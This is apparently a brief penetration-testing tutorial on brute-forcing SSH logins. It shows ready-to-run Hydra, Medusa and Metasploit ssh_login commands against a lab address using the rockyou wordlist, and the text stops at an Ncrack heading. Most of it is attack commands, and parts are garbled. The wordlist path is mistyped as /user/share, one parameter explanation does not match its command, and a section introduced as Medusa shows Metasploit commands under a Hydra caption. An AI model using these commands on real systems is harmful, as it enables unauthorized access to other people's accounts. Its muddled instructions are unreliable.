Hydra Brute Force

Description

Hydra is a parallelized login cracker which supports numerous protocols to attack. New modules are easy to add, besides that, it is flexible and very fast.

First, we need a word list. As with any dictionary attack, the wordlist is key. I use Kali built-in wordlists rockyou.txt. The IP is obviously the IP of the target machine

Small l -parameter define target username

Capital -P Parameter defines target passwords wordlist

hydra -l rahul -P /user/share/wordlists/rockyou.txt ssh://192.168.1.17
ssh brute force

Same way to we are brute force attack performed username but this time our parameter is changed

Small l -parameter define target username

Small p -parameter define target password

hydra -L /user/share/wordlists/rockyou.txt -p mickey ssh://192.168.1.17
ssh brute force

Medusa Brute Force

Description

Medusa is intended to be a speedy, massively parallel, modular, login brute-forcer. The goal is to support as many services that allow remote authentication as possible.

using this command we are performing password brute force attack

Small u -parameter define target username

Capital -P Parameter defines target passwords wordlist

medusa -u rahul -P  /user/share/wordlists/rockyou.txt  -M ssh -h 192.168.1.17
hydra brute force attack password

Perform username wordlist attack using this command

Capital -U parameter users wordlist

use auxiliary/scanner/ssh/ssh_login
set user_file /usr/share/wordlists/rockyou.txt
set password mickey
set rhost 192.168.1.17
run
hydra brute force attack password

Ncrack Brute Force
